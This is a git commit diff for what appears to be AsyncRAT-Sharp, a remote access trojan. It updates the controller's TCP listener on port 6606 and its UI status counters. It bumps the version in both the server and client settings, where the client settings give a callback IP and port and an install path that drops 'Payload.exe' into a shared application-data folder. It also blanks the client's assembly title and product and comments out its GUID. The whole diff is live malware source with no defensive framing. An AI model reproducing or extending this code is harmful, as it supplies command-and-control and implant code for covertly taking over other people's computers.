This commit is contained in:
NYAN CAT 2019-03-14 03:56:01 -07:00
parent 025731dc0d
commit e48b4cb7fd
5 changed files with 14 additions and 20 deletions

View File

@ -30,7 +30,7 @@ namespace AsyncRAT_Sharp
private void Form1_Load(object sender, EventArgs e) private void Form1_Load(object sender, EventArgs e)
{ {
this.Text = string.Format("AsyncRAT-Sharp {0} // NYAN CAT", Settings.Version); this.Text = string.Format(" {0} // NYAN CAT", Settings.Version);
Listener listener = new Listener(); Listener listener = new Listener();
Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
@ -87,7 +87,7 @@ namespace AsyncRAT_Sharp
private void UpdateUI_Tick(object sender, EventArgs e) private void UpdateUI_Tick(object sender, EventArgs e)
{ {
toolStripStatusLabel1.Text = string.Format("Online {0} Sent {1} Received {2}", Settings.Online.Count.ToString(), Helper.BytesToString(Settings.Sent).ToString(), Helper.BytesToString(Settings.Received).ToString()); toolStripStatusLabel1.Text = string.Format("Online {0} Selected {3} Sent {1} Received {2}", Settings.Online.Count.ToString(), Helper.BytesToString(Settings.Sent).ToString(), Helper.BytesToString(Settings.Received).ToString(),listView1.SelectedItems.Count.ToString());
} }
private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e) private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)

View File

@ -7,7 +7,7 @@ namespace AsyncRAT_Sharp
{ {
public static readonly List<Clients> Online = new List<Clients>(); public static readonly List<Clients> Online = new List<Clients>();
public static readonly int Port = 6606; public static readonly int Port = 6606;
public static readonly string Version = "0.2.3"; public static readonly string Version = "AsyncRAT 0.2.5";
public static long Sent = 0; public static long Sent = 0;
public static long Received = 0; public static long Received = 0;
} }

View File

@ -8,23 +8,23 @@ namespace AsyncRAT_Sharp.Sockets
{ {
class Listener class Listener
{ {
private Socket listener { get; set; } private Socket Server { get; set; }
public void Connect(object port) public void Connect(object port)
{ {
try try
{ {
IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port)); IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port));
listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) Server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{ {
SendBufferSize = 50 * 1024, SendBufferSize = 50 * 1024,
ReceiveBufferSize = 50 * 1024, ReceiveBufferSize = 50 * 1024,
ReceiveTimeout = -1, ReceiveTimeout = -1,
SendTimeout = -1, SendTimeout = -1,
}; };
listener.Bind(IpEndPoint); Server.Bind(IpEndPoint);
listener.Listen(20); Server.Listen(20);
BeginAccept(); Server.BeginAccept(EndAccept, null);
} }
catch (Exception ex) catch (Exception ex)
{ {
@ -33,18 +33,12 @@ namespace AsyncRAT_Sharp.Sockets
} }
} }
private async void BeginAccept()
{
await Task.Delay(1);
listener.BeginAccept(EndAccept, null);
}
private void EndAccept(IAsyncResult ar) private void EndAccept(IAsyncResult ar)
{ {
try try
{ {
BeginAccept(); Clients CL = new Clients(Server.EndAccept(ar));
Clients CL = new Clients(listener.EndAccept(ar)); Server.BeginAccept(EndAccept, null);
} }
catch { } catch { }
} }

View File

@ -19,7 +19,7 @@ namespace Client
{ {
public static readonly string IP = "127.0.0.1"; public static readonly string IP = "127.0.0.1";
public static readonly int Port = 6606; public static readonly int Port = 6606;
public static readonly string Version = "0.2.3"; public static readonly string Version = "AsyncRAT 0.2.5";
public static readonly string ClientFullPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "Payload.exe"); public static readonly string ClientFullPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "Payload.exe");
} }

View File

@ -5,11 +5,11 @@ using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following // General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information // set of attributes. Change these attribute values to modify the information
// associated with an assembly. // associated with an assembly.
[assembly: AssemblyTitle("Client")] [assembly: AssemblyTitle("")]
[assembly: AssemblyDescription("")] [assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")] [assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")] [assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Client")] [assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("Copyright © 2019")] [assembly: AssemblyCopyright("Copyright © 2019")]
[assembly: AssemblyTrademark("")] [assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")] [assembly: AssemblyCulture("")]
@ -20,7 +20,7 @@ using System.Runtime.InteropServices;
[assembly: ComVisible(false)] [assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM // The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("c3c49f45-2589-4e04-9c50-71b6035c14ae")] //[assembly: Guid("c3c49f45-2589-4e04-9c50-71b6035c14ae")]
// Version information for an assembly consists of the following four values: // Version information for an assembly consists of the following four values:
// //